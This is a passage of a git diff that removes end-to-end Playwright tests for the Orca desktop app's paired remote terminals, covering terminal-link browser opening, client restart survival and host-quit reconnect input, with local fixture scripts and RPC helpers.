BrowserTabListResult } from '../../src/shared/browser/runtime/runtime-browser-contracts' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { - readPanelNavigationObserver, - startPanelNavigationObserver, - stopPanelNavigationObserver -} from './helpers/plugin-panel-navigation-observer' -import { - readTerminalMultiplexLifecycle, - readTerminalReconnectUiEvents, - startTerminalReconnectUiObserver -} from './helpers/remote-terminal-lifecycle-observer' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' - -const PAGE_MARKER = 'remote terminal browser owner' -const POINTER_MARKER = 'local pointer received' -const KEYBOARD_MARKER = 'local-keyboard-input' -const TERMINAL_MARKER = 'remote-terminal-still-live-after-browser-close' - -async function readTabInventory( - page: Page, - environmentId: string, - worktreeId: string -): Promise<{ - clientBrowserWorkspaces: number - clientBrowserTabs: number - clientTerminalTabs: number - hostAuthoritativeBrowserTabs: number - hostRegisteredBrowserPages: number - hostTerminalTabs: number -}> { - return page.evaluate( - async ({ environmentId, worktreeId }) => { - const state = window.__store?.getState() - const [sessionResponse, browserResponse] = await Promise.all([ - window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'session.tabs.list', - params: { worktree: `id:${worktreeId}` }, - timeoutMs: 15_000 - }), - window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'browser.tabList', - params: { worktree: `id:${worktreeId}` }, - timeoutMs: 15_000 - }) - ]) - if (!sessionResponse.ok) { - throw new Error('host session tab inventory unavailable') - } - if (!browserResponse.ok) { - throw new Error('host browser page inventory unavailable') - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: runtimeEnvironments.call is untyped at the IPC boundary; session.tabs.list answers RuntimeMobileSessionTabsResult. - const sessionTabs = (sessionResponse.result as RuntimeMobileSessionTabsResult).tabs - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: runtimeEnvironments.call is untyped at the IPC boundary; browser.tabList answers BrowserTabListResult. - const browserPages = (browserResponse.result as BrowserTabListResult).tabs - return { - clientBrowserWorkspaces: (state?.browserTabsByWorktree[worktreeId] ?? []).length, - clientBrowserTabs: (state?.unifiedTabsByWorktree[worktreeId] ?? []).filter( - (tab) => tab.contentType === 'browser' - ).length, - clientTerminalTabs: (state?.tabsByWorktree[worktreeId] ?? []).length, - hostAuthoritativeBrowserTabs: sessionTabs.filter((tab) => tab.type === 'browser').length, - hostRegisteredBrowserPages: browserPages.length, - hostTerminalTabs: sessionTabs.filter((tab) => tab.type === 'terminal').length - } - }, - { environmentId, worktreeId } - ) -} - -async function startPageServer(): Promise<{ server: Server; url: string }> { - const server = createServer((_request, response) => { - response.writeHead(200, { 'content-type': 'text/html; charset=utf-8' }) - response.end(` -

${PAGE_MARKER}

- - - `) - }) - await new Promise((resolve, reject) => { - server.once('error', reject) - server.listen(0, '127.0.0.1', () => { - server.off('error', reject) - resolve() - }) - }) - const address = server.address() as AddressInfo - return { server, url: `http://127.0.0.1:${address.port}/remote-terminal` } -} - -async function closePageServer(server: Server): Promise { - await new Promise((resolve, reject) => { - server.closeAllConnections() - server.close((error) => (error ? reject(error) : resolve())) - }) -} - -async function findTerminalLinkTarget(page: Page, link: string): Promise<{ x: number; y: number }> { - return page.evaluate((targetLink) => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = worktreeId ? state?.activeTabIdByWorktree?.[worktreeId] : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const screen = pane?.terminal.element?.querySelector('.xterm-screen') ?? null - if (!pane || !screen) { - throw new Error('paired terminal screen unavailable') - } - const buffer = pane.terminal.buffer.active - for (let row = 0; row < pane.terminal.rows; row += 1) { - const text = buffer.getLine(buffer.viewportY + row)?.translateToString(false) ?? '' - const column = text.indexOf(targetLink) - if (column === -1) { - continue - } - const cell = pane.terminal.dimensions?.css.cell - if (!cell?.width || !cell.height) { - throw new Error('paired terminal cell dimensions unavailable') - } - const rect = screen.getBoundingClientRect() - return { - x: rect.left + (column + targetLink.length / 2) * cell.width, - y: rect.top + (row + 0.5) * cell.height - } - } - throw new Error('paired terminal link unavailable') - }, link) -} - -function remoteTerminalHandle(ptyId: string): string { - const separator = ptyId.indexOf('@@') - if (!ptyId.startsWith('remote:') || separator === -1) { - throw new Error(`Expected runtime-owned PTY id, received ${ptyId}`) - } - return decodeURIComponent(ptyId.slice(separator + 2)) -} - -test('opens a paired-runtime terminal link on its owning host', async ({ - electronApp, - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(240_000) - const fixture = await startPageServer() - let client: PairedElectronClient | null = null - let observerActive = false - try { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const hostPtyId = await waitForActivePanePtyId(orcaPage) - await execInTerminal(orcaPage, hostPtyId, `printf '%s\\n' ${JSON.stringify(fixture.url)}`) - await waitForTerminalOutput(orcaPage, fixture.url) - - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - client = await launchPairedElectronClient(offer, testInfo, 'Remote terminal browser link') - const page = client.page - const worktreeId = await expect - .poll( - () => - page.evaluate((repoPath) => { - const state = window.__store?.getState() - return state?.allWorktrees().find((worktree) => worktree.path === repoPath)?.id ?? null - }, testRepoPath), - { timeout: 60_000, message: 'paired client never received the host worktree' } - ) - .not.toBeNull() - .then(() => - page.evaluate((repoPath) => { - const state = window.__store?.getState() - return state?.allWorktrees().find((worktree) => worktree.path === repoPath)?.id ?? null - }, testRepoPath) - ) - if (!worktreeId) { - throw new Error('paired client worktree disappeared after discovery') - } - await page.evaluate( - async ({ environmentId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveWorktree(worktreeId, `runtime:${environmentId}`) - await state?.updateSettings({ - openLinksInApp: true, - terminalLinkActionPopoverEnabled: true - }) - }, - { environmentId: client.environmentId, worktreeId } - ) - await ensureTerminalVisible(page, 30_000) - await waitForActiveTerminalManager(page, 30_000) - await waitForTerminalOutput(page, fixture.url, 30_000) - const clientPtyId = await waitForActivePanePtyId(page, 30_000) - expect(clientPtyId.startsWith(`remote:${client.environmentId}@@`)).toBe(true) - - const baseline = await readTabInventory(page, client.environmentId, worktreeId) - const terminalLifecycle = await readTerminalMultiplexLifecycle(page) - expect(terminalLifecycle.activeStreams).toContainEqual({ - environmentId: client.environmentId, - streamId: expect.any(Number), - terminal: remoteTerminalHandle(clientPtyId) - }) - const screencastSubscribeCount = await readScreencastSubscribeCount(page) - await startTerminalReconnectUiObserver(page) - await startPanelNavigationObserver(client.app, page.url()) - observerActive = true - - const target = await findTerminalLinkTarget(page, fixture.url) - await page.mouse.move(target.x, target.y) - await expect(page.locator('.xterm-hover')).toHaveCount(1) - await page.mouse.click(target.x, target.y) - const actionPopover = page.locator('[data-terminal-link-action-popover]') - await expect(actionPopover).toBeVisible() - await expect(actionPopover.locator('[data-terminal-link-destination]')).toHaveText(fixture.url) - await expect( - actionPopover.getByRole('button').filter({ hasText: 'System Browser' }) - ).toBeVisible() - const orcaBrowserAction = actionPopover.getByRole('button').filter({ hasText: 'Orca Browser' }) - await expect(orcaBrowserAction).toBeVisible() - await orcaBrowserAction.click() - - const identity = await expect - .poll( - () => - page.evaluate( - ({ url, worktreeId }) => { - const state = window.__store?.getState() - const workspace = (state?.browserTabsByWorktree[worktreeId] ?? []).find( - (tab) => tab.url === url - ) - const browserPage = workspace - ? (state?.browserPagesByWorkspace[workspace.id] ?? [])[0] - : null - const handle = browserPage - ? state?.remoteBrowserPageHandlesByPageId[browserPage.id] - : null - return workspace && browserPage && handle?.placement?.kind === 'client' - ? { - clientPageId: browserPage.id, - clientRuntimeId: browserPage.browserRuntimeEnvironmentId, - clientWorkspaceId: workspace.id, - placement: handle.placement, - remoteEnvironmentId: handle.environmentId, - remotePageId: handle.remotePageId - } - : null - }, - { url: fixture.url, worktreeId } - ), - { timeout: 60_000, message: 'terminal link never became one client-hosted browser page' } - ) - .not.toBeNull() - .then(() => - page.evaluate( - ({ url, worktreeId }) => { - const state = window.__store!.getState() - const workspace = state.browserTabsByWorktree[worktreeId]!.find( - (tab) => tab.url === url - )! - const browserPage = state.browserPagesByWorkspace[workspace.id]![0]! - const handle = state.remoteBrowserPageHandlesByPageId[browserPage.id]! - return { - clientPageId: browserPage.id, - clientRuntimeId: browserPage.browserRuntimeEnvironmentId, - clientWorkspaceId: workspace.id, - placement: handle.placement, - remoteEnvironmentId: handle.environmentId, - remotePageId: handle.remotePageId - } - }, - { url: fixture.url, worktreeId } - ) - ) - - expect(identity.clientRuntimeId).toBe(client.environmentId) - expect(identity.remoteEnvironmentId).toBe(client.environmentId) - expect(identity.placement).toMatchObject({ kind: 'client' }) - const finalInventory = await readTabInventory(page, client.environmentId, worktreeId) - expect(finalInventory).toEqual({ - clientBrowserWorkspaces: baseline.clientBrowserWorkspaces + 1, - clientBrowserTabs: baseline.clientBrowserTabs + 1, - clientTerminalTabs: baseline.clientTerminalTabs, - hostAuthoritativeBrowserTabs: baseline.hostAuthoritativeBrowserTabs + 1, - hostRegisteredBrowserPages: baseline.hostRegisteredBrowserPages + 1, - hostTerminalTabs: baseline.hostTerminalTabs - }) - await expect - .poll(() => readOwnedPageUrls(client!.app, fixture.url), { - timeout: 60_000, - message: 'client-hosted guest never loaded on the paired desktop' - }) - .toHaveLength(1) - expect(await readOwnedPageUrls(electronApp, fixture.url)).toHaveLength(0) - await expect(page.getByTestId('remote-browser-frame')).toHaveCount(0) - expect(await readScreencastSubscribeCount(page)).toBe(screencastSubscribeCount) - expect((await readPanelNavigationObserver(client.app)).externalUrls).toEqual([]) - - const content = await page.evaluate( - async ({ browserPageId, environmentId, worktreeId }) => - window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'browser.eval', - params: { - worktree: `id:${worktreeId}`, - page: browserPageId, - expression: 'document.querySelector("h1")?.textContent' - }, - timeoutMs: 15_000 - }), - { - browserPageId: identity.remotePageId, - environmentId: client.environmentId, - worktreeId - } - ) - expect(content).toMatchObject({ ok: true, result: { result: PAGE_MARKER } }) - - const browserTab = page.locator(`[data-tab-id="${identity.clientWorkspaceId}"]`) - await browserTab.click() - await expect - .poll(() => - page.evaluate((worktreeId) => { - const state = window.__store?.getState() - return { - browserWorkspaceId: state?.activeBrowserTabIdByWorktree[worktreeId] ?? null, - tabType: state?.activeTabTypeByWorktree[worktreeId] ?? null - } - }, worktreeId) - ) - .toEqual({ browserWorkspaceId: identity.clientWorkspaceId, tabType: 'browser' }) - await expect( - page.locator(`[data-browser-overlay-tab-id="${identity.clientWorkspaceId}"]`) - ).toHaveCSS('opacity', '1') - await expect - .poll(() => readClientGuestState(page, fixture.url), { - timeout: 30_000, - message: 'client-hosted guest DOM never became readable' - }) - .toMatchObject({ marker: PAGE_MARKER }) - await sendClientGuestPointerInput(page, fixture.url, '#pointer-target') - await expect - .poll(() => readClientGuestState(page, fixture.url)) - .toMatchObject({ - pointerValue: POINTER_MARKER - }) - await sendClientGuestPointerInput(page, fixture.url, '#keyboard-target') - await expect - .poll(() => readClientGuestState(page, fixture.url)) - .toMatchObject({ focusedElement: 'keyboard-target' }) - await sendClientGuestKeyboardInput(page, fixture.url, KEYBOARD_MARKER) - await expect - .poll(() => readClientGuestState(page, fixture.url)) - .toMatchObject({ - keyboardValue: KEYBOARD_MARKER - }) - expect(await readTerminalMultiplexLifecycle(page)).toEqual(terminalLifecycle) - expect(await readTerminalReconnectUiEvents(page)).toEqual([]) - expect(await readScreencastSubscribeCount(page)).toBe(screencastSubscribeCount) - - await browserTab.hover() - await browserTab.locator('button').click() - await expect - .poll(() => readTabInventory(page, client!.environmentId, worktreeId), { - timeout: 30_000, - message: 'host and client browser inventories did not return to baseline' - }) - .toEqual(baseline) - - await ensureTerminalVisible(page, 30_000) - await waitForActiveTerminalManager(page, 30_000) - expect(await waitForActivePanePtyId(page, 30_000)).toBe(clientPtyId) - const send = await page.evaluate( - async ({ environmentId, terminal, text }) => - window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'terminal.send', - params: { - terminal, - text, - enter: true, - client: { id: 'remote-browser-close-e2e', type: 'desktop' } - }, - timeoutMs: 15_000 - }), - { - environmentId: client.environmentId, - terminal: remoteTerminalHandle(clientPtyId), - text: `printf '%s\\n' ${JSON.stringify(TERMINAL_MARKER)}` - } - ) - expect(send).toMatchObject({ ok: true, result: { send: { accepted: true } } }) - await waitForTerminalOutput(page, TERMINAL_MARKER, 30_000) - expect(await readTabInventory(page, client.environmentId, worktreeId)).toEqual(baseline) - expect(await readTerminalMultiplexLifecycle(page)).toEqual(terminalLifecycle) - expect(await readTerminalReconnectUiEvents(page)).toEqual([]) - expect(await readScreencastSubscribeCount(page)).toBe(screencastSubscribeCount) - expect((await readPanelNavigationObserver(client.app)).externalUrls).toEqual([]) - } finally { - if (observerActive && client) { - await stopPanelNavigationObserver(client.app).catch(() => undefined) - } - try { - await client?.dispose() - } finally { - await closePageServer(fixture.server) - } - } -}) diff --git a/tests/e2e/paired-remote-terminal-client-restart-survival.spec.ts b/tests/e2e/paired-remote-terminal-client-restart-survival.spec.ts deleted file mode 100644 index 21ce8612a01..00000000000 --- a/tests/e2e/paired-remote-terminal-client-restart-survival.spec.ts +++ /dev/null @@ -1,335 +0,0 @@ -// Force-quit a paired desktop client and reopen its retained profile while the desktop host keeps the remote PTY alive. -// One READY in the host sink proves no respawn; post-relaunch LINE entries prove restored input reaches that same process. -import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import { randomUUID } from 'node:crypto' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { - HOST_TERMINAL_SURFACE_SEPARATOR, - toWebTerminalSurfaceTabId -} from '../../src/shared/workspace-layout/terminal-surface-id' -import { closeElectronAppForE2E } from './helpers/electron-process-shutdown' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -/** What a user would accept for "my terminal is back" after reopening the app. */ -const RESTORE_BUDGET_MS = 60_000 - -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-client-restart-survival-')) -const fixturePath = path.join(scratch, 'restart-survival-terminal.mjs') -writeFileSync( - fixturePath, - [ - "import { appendFileSync } from 'node:fs'", - 'const sink = process.argv[2]', - 'const record = (line) => appendFileSync(sink, `${line}\\n`)', - "record('READY')", - "process.stdout.write('RESTART_SURVIVAL_READY\\r\\n')", - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const lines = pending.split(/\\r\\n|\\r|\\n/)', - " pending = lines.pop() ?? ''", - ' for (const line of lines) {', - ' record(`LINE:${line}`)', - ' process.stdout.write(`LINE:${line}\\r\\n`)', - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function fixtureCommand(sinkPath: string): string { - const command = [process.execPath, fixturePath, sinkPath] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(quotePosixShell).join(' ') -} - -function readSinkLines(sinkPath: string): string[] { - try { - return readFileSync(sinkPath, 'utf8').split('\n').filter(Boolean) - } catch { - return [] - } -} - -async function callEnvironment( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: page.evaluate is typed unknown across the bridge; TResult is the caller's declared RPC result. - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -async function focusWorkspace(page: Page, worktreeId: string): Promise { - await page.evaluate((id) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(id) - }, worktreeId) -} - -async function waitForClientWorkspace(page: Page, worktreeId: string): Promise { - await expect - .poll( - () => - page.evaluate( - (id) => (window.__store?.getState().allWorktrees() ?? []).some((w) => w.id === id), - worktreeId - ), - { timeout: 60_000, message: 'paired client never received the host workspace' } - ) - .toBe(true) -} - -/** Milliseconds until the tab is mirrored again, or null if it never was. */ -async function waitForMirroredTab( - page: Page, - worktreeId: string, - webTabId: string, - budgetMs: number -): Promise { - const startedAt = Date.now() - while (Date.now() - startedAt < budgetMs) { - const present = await page.evaluate( - ({ id, worktreeId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some((tab) => tab.id === id), - { id: webTabId, worktreeId } - ) - if (present) { - return Date.now() - startedAt - } - await page.waitForTimeout(500) - } - return null -} - -/** Milliseconds until the restored pane paints `marker`, or null if it never did. */ -async function waitForPanePaint( - page: Page, - webTabId: string, - marker: string, - budgetMs: number -): Promise { - const startedAt = Date.now() - while (Date.now() - startedAt < budgetMs) { - const content = await page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.serializeAddon?.serialize?.() ?? '' - }, webTabId) - if (content.includes(marker)) { - return Date.now() - startedAt - } - await page.waitForTimeout(500) - } - return null -} - -async function selectClientTab(page: Page, worktreeId: string, webTabId: string): Promise { - await page.evaluate( - ({ webTabId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId) - state?.setActiveTab(webTabId) - state?.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - }, - { webTabId, worktreeId } - ) -} - -// Use terminal.input through the real remote transport; direct local pty.write cannot route remote: ids. -// Retry while reattach may replay-suppress input, as restored-terminal-input-readiness does. -async function driveInputUntilProcessSees( - client: PairedElectronClient, - webTabId: string, - sinkPath: string, - marker: string, - budgetMs: number -): Promise { - const startedAt = Date.now() - while (Date.now() - startedAt < budgetMs) { - await client.page.evaluate( - ({ id, text }) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - pane?.terminal?.input?.(text, true) - }, - { id: webTabId, text: `${marker}\r` } - ) - if (readSinkLines(sinkPath).some((line) => line.includes(marker))) { - return true - } - await client.page.waitForTimeout(1_000) - } - return false -} - -async function readTabPtyIds(client: PairedElectronClient, webTabId: string): Promise { - return client.page.evaluate((id) => window.__store?.getState().ptyIdsByTabId[id] ?? [], webTabId) -} - -test('a relaunched client gets its live remote terminal back, still attached to the same process', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(900_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const worktreeId = await orcaPage.evaluate(() => { - const id = window.__store?.getState().activeWorktreeId - if (!id) { - throw new Error('host has no active worktree') - } - return id - }) - - const sinkPath = path.join(scratch, `sink-${randomUUID()}.log`) - const failures: string[] = [] - let client: PairedElectronClient | null = null - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - try { - client = await launchPairedElectronClient(offer, testInfo, 'remote-terminal-restart-survival') - const userDataDir = client.userDataDir - await waitForClientWorkspace(client.page, worktreeId) - await focusWorkspace(client.page, worktreeId) - - const created = await callEnvironment<{ tab: { id: string; terminal: string | null } }>( - client.page, - client.environmentId, - 'session.tabs.createTerminal', - { - worktree: `id:${worktreeId}`, - command: fixtureCommand(sinkPath), - activate: true, - select: true, - navigation: 'caller' - } - ) - const hostTabId = created.tab.id.split(HOST_TERMINAL_SURFACE_SEPARATOR)[0]! - const webTabId = toWebTerminalSurfaceTabId(hostTabId) - expect( - await waitForMirroredTab(client.page, worktreeId, webTabId, RESTORE_BUDGET_MS), - 'the client never mirrored the terminal it created' - ).not.toBeNull() - await selectClientTab(client.page, worktreeId, webTabId) - await expect - .poll(() => readSinkLines(sinkPath), { - timeout: RESTORE_BUDGET_MS, - message: 'the host terminal fixture never started' - }) - .toContain('READY') - expect( - await waitForPanePaint(client.page, webTabId, 'RESTART_SURVIVAL_READY', RESTORE_BUDGET_MS), - 'the pane never painted the live terminal before the restart' - ).not.toBeNull() - - // Prove input works before restart so harness failure cannot look like broken recovery. - const ptyIdsBefore = await readTabPtyIds(client, webTabId) - expect(ptyIdsBefore, 'the live pane had no PTY handle before the restart').not.toHaveLength(0) - expect( - await driveInputUntilProcessSees( - client, - webTabId, - sinkPath, - 'PRE_RESTART_CONTROL', - RESTORE_BUDGET_MS - ), - 'input did not reach the host process even before the restart — the probe, not the product' - ).toBe(true) - - const quitting = client.app - client = null - await closeElectronAppForE2E(quitting) - client = await launchPairedElectronClient( - offer, - testInfo, - 'remote-terminal-restart-survival-relaunch', - { reuseUserDataDir: userDataDir } - ) - await waitForClientWorkspace(client.page, worktreeId) - await focusWorkspace(client.page, worktreeId) - - const tabBackMs = await waitForMirroredTab(client.page, worktreeId, webTabId, RESTORE_BUDGET_MS) - console.error(`[client-restart] tabBackMs=${tabBackMs}`) - if (tabBackMs === null) { - failures.push('the remote terminal tab never came back after the app was reopened') - } else { - await selectClientTab(client.page, worktreeId, webTabId) - const paintedMs = await waitForPanePaint( - client.page, - webTabId, - 'RESTART_SURVIVAL_READY', - RESTORE_BUDGET_MS - ) - console.error(`[client-restart] paintedMs=${paintedMs}`) - if (paintedMs === null) { - failures.push( - 'the remote terminal came back empty — the tab is there but the transcript is not' - ) - } - } - - const marker = `POST_RESTART_${randomUUID().slice(0, 8)}` - const ptyIds = await readTabPtyIds(client, webTabId) - console.error(`[client-restart] ptyBefore=${ptyIdsBefore[0]} ptyAfter=${ptyIds[0] ?? 'none'}`) - if (ptyIds.length === 0) { - failures.push( - 'the restored tab has no PTY handle — nothing the user types can reach the host' - ) - } else { - const echoed = await driveInputUntilProcessSees( - client, - webTabId, - sinkPath, - marker, - RESTORE_BUDGET_MS - ) - console.error(`[client-restart] inputReachedProcess=${echoed}`) - if (!echoed) { - failures.push( - 'input typed into the restored terminal never reached the process the host is running' - ) - } - } - - const readyCount = readSinkLines(sinkPath).filter((line) => line === 'READY').length - console.error(`[client-restart] readyCount=${readyCount}`) - if (readyCount !== 1) { - failures.push( - `the host process was re-spawned across the client restart (READY x${readyCount}) — the user's session was replaced, not restored` - ) - } - } finally { - await client?.dispose() - } - expect(failures, failures.join('\n')).toEqual([]) -}) diff --git a/tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts b/tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts deleted file mode 100644 index 69004c5a3e3..00000000000 --- a/tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts +++ /dev/null @@ -1,379 +0,0 @@ -// Keep the active paired terminal interactive after desktop-host quit/relaunch with its daemon alive. -// Hold renderer graph publication so reconnect deterministically reaches the started host before it has published any tabs. -import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { - HOST_TERMINAL_SURFACE_SEPARATOR, - toWebTerminalSurfaceTabId -} from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { - holdWindowGraphPublication, - releaseWindowGraphPublication -} from './helpers/hold-window-graph-publication' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-paired-host-quit-input-')) -const fixturePath = path.join(scratch, 'paired-host-quit-terminal.mjs') - -writeFileSync( - fixturePath, - [ - "import { appendFileSync } from 'node:fs'", - 'const sink = process.argv[2]', - "process.stdout.write('READY\\r\\n')", - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const lines = pending.split(/\\r\\n|\\r|\\n/)', - " pending = lines.pop() ?? ''", - ' for (const line of lines) {', - ' appendFileSync(sink, `${line}\\n`)', - ' process.stdout.write(`LIVE:${line}\\r\\n`)', - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function fixtureCommand(sinkPath: string): string { - const command = [process.execPath, fixturePath, sinkPath] - return process.platform === 'win32' - ? // Why: the isolated Windows profile starts PowerShell, which parses a leading quoted path as a string, not a command. - `& ${command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ')}` - : command.map(quotePosixShell).join(' ') -} - -function seededRepoPathOrSkip(): string { - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - : '' - test.skip(!repoPath || !existsSync(repoPath), 'Global setup did not produce a seeded test repo') - return repoPath -} - -function readDaemonPid(userDataDir: string): number { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the pid field is checked below. - const value = JSON.parse( - readFileSync(path.join(userDataDir, 'daemon', `daemon-v${PROTOCOL_VERSION}.pid`), 'utf8') - ) as { pid?: unknown } - if (typeof value.pid !== 'number') { - throw new Error('Daemon pid file did not contain a numeric pid') - } - return value.pid -} - -function readText(filePath: string): string { - try { - return readFileSync(filePath, 'utf8') - } catch { - return '' - } -} - -async function callRuntime( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: test-only RPC result shape. - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -type HostTerminal = { - handle: string - parentTabId: string - ptyId: string - sinkPath: string - webTabId: string -} - -async function createHostTerminal( - client: PairedElectronClient, - worktreeId: string, - name: string -): Promise { - const sinkPath = path.join(scratch, `${name}.log`) - const created = await callRuntime<{ - tab: { id: string; parentTabId: string; terminal: string | null } - }>(client.page, client.environmentId, 'session.tabs.createTerminal', { - worktree: `id:${worktreeId}`, - command: fixtureCommand(sinkPath), - activate: false, - select: false, - navigation: 'caller' - }) - if (!created.tab.terminal) { - throw new Error('Host did not publish the fixture terminal') - } - const shown = await callRuntime<{ terminal: { ptyId: string | null } }>( - client.page, - client.environmentId, - 'terminal.show', - { terminal: created.tab.terminal } - ) - if (!shown.terminal.ptyId) { - throw new Error('Host fixture terminal has no PTY') - } - const parentTabId = - created.tab.parentTabId || created.tab.id.split(HOST_TERMINAL_SURFACE_SEPARATOR)[0] - return { - handle: created.tab.terminal, - parentTabId, - ptyId: shown.terminal.ptyId, - sinkPath, - webTabId: toWebTerminalSurfaceTabId(parentTabId) - } -} - -async function openClientTab(page: Page, worktreeId: string, webTabId: string): Promise { - await expect - .poll( - () => - page.evaluate( - ({ worktreeId, webTabId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === webTabId - ), - { worktreeId, webTabId } - ), - { timeout: 60_000, message: `Client never mirrored host tab ${webTabId}` } - ) - .toBe(true) - await page.evaluate( - ({ worktreeId, webTabId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId) - state?.setActiveTab(webTabId) - state?.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - }, - { worktreeId, webTabId } - ) - await expect - .poll(() => page.evaluate((id) => window.__paneManagers?.has(id) ?? false, webTabId), { - timeout: 60_000, - message: `Client pane for ${webTabId} did not mount` - }) - .toBe(true) -} - -type PaneProbe = { - content: string - ptyId: string | null - recovery: string | null - banner: string | null -} - -async function readPane(page: Page, webTabId: string): Promise { - return page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return { - content: pane?.serializeAddon?.serialize?.() ?? '', - ptyId: pane?.container.dataset.ptyId ?? null, - recovery: pane?.container.dataset.ptyRecoveryState ?? null, - banner: - document - .querySelector('[data-terminal-remote-runtime-reconnect-banner]') - ?.getAttribute('data-terminal-remote-runtime-reconnect-banner') ?? - document - .querySelector('[data-remote-server-outage-notice]') - ?.getAttribute('data-remote-server-outage-notice') ?? - null - } - }, webTabId) -} - -async function typeIntoPane(page: Page, webTabId: string, text: string): Promise { - await page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error(`No pane mounted for ${id}`) - } - pane.terminal.focus() - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: xterm always renders its helper textarea. - const textarea = pane.container.querySelector('.xterm-helper-textarea') as HTMLTextAreaElement - textarea.focus() - }, webTabId) - await page.keyboard.type(text) - await page.keyboard.press('Enter') -} - -async function expectTerminalInteractive( - page: Page, - target: HostTerminal, - marker: string -): Promise { - await typeIntoPane(page, target.webTabId, marker) - try { - await expect.poll(() => readText(target.sinkPath), { timeout: 15_000 }).toContain(marker) - await expect - .poll(async () => (await readPane(page, target.webTabId)).content, { timeout: 15_000 }) - 